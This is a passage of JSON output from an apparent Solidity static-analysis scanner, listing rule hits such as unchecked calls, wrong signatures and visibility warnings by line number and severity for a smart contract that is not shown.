"SOLIDITY_UNCHECKED_CALL", "line": 651, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 655, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 659, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 663, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 667, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 671, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 675, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 679, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 683, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 687, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 691, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 695, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 699, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 703, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 707, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 711, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 715, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 719, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 723, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 727, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 731, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 735, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 739, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 743, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 747, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 751, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 755, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 759, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 763, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 767, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 771, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 775, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 779, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 783, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 787, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 791, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 795, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 799, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 803, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 807, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 811, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 815, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 819, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 823, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 827, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 831, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 835, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 839, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 843, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 847, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 851, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 855, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 859, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 863, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 867, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 871, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 875, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 879, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 883, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 887, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 891, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 895, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 899, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 903, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 907, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 911, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 915, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 919, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 923, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 927, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 931, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 935, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 939, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 943, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 947, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 951, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 955, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 959, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 963, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 967, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 971, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 975, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 979, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 983, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 987, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 991, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 995, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 999, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1003, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1007, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1011, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1015, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1019, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1023, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1027, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1031, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1035, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1039, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1043, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1047, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1051, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1055, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1059, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1063, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1067, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1071, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1075, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1079, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1083, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1087, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1091, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1095, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1099, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1103, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1107, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1111, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1115, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1119, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1123, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1127, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1131, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1135, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1139, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1143, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1147, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1151, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1155, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1159, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1163, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1167, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1171, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1175, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1179, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1183, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1187, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1191, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1195, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1199, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1203, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1207, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1211, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1215, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1219, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1223, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1227, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1231, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1235, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1239, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1243, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1247, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1251, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1255, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1259, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1263, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1267, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1271, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1275, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1279, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1283, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1287, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1291, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1295, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1299, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1303, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1307, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1311, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1315, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1319, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1323, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1327, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1331, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1335, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1339, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1343, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1347, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1351, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1355, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1359, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1363, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1367, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1371, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1375, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1379, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1383, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1387, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1391, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1395, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1399, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1403, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1407, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1411, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1415, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1419, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1423, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1427, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1431, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1435, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1439, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1443, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1447, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1451, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1455, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1459, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1463, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1467, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1471, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1475, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1479, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1483, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1487, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1491, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1495, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1499, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1503, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1507, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1511, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1515, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1519, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1523, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1527, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1531, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1658, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 12, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1689, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1770, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2085, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2083, "severity": 1}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 23, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 27, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 175, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 191, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 195, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 199, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 203, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 207, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 223, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 239, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 255, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 259, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 263, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 267, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 271, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 275, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 279, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 283, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 287, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 291, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 295, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 299, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 303, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 307, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 311, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 315, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 319, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 323, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 327, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 331, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 335, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 351, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 367, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 383, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 387, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 391, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 395, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 399, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 415, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 431, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 447, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 451, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 455, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 459, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 463, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 479, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 495, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 511, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 515, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 519, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 523, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 527, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 531, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 535, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 539, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 543, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 547, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 551, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 555, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 559, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 563, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 567, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 571, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 575, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 579, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 583, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 587, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 591, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 595, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 599, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 603, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 607, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 611, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 615, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 619, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 623, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 627, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 631, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 635, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 639, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 643, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 647, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 651, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 655, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 659, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 663, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 667, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 671, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 675, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 679, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 683, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 687, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 691, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 695, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 699, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 703, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 707, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 711, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 715, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 719, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 723, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 727, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 731, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 735, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 739, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 743, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 747, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 751, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 755, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 759, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 763, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 767, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 771, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 775, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 779, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 783, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 787, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 791, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 795, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 799, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 803, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 807, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 811, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 815, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 819, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 823, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 827, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 831, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 835, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 839, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 843, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 847, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 863, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 879, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 895, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 899, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 903, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 907, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 911, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 927, "severity": 2}, {"rule": 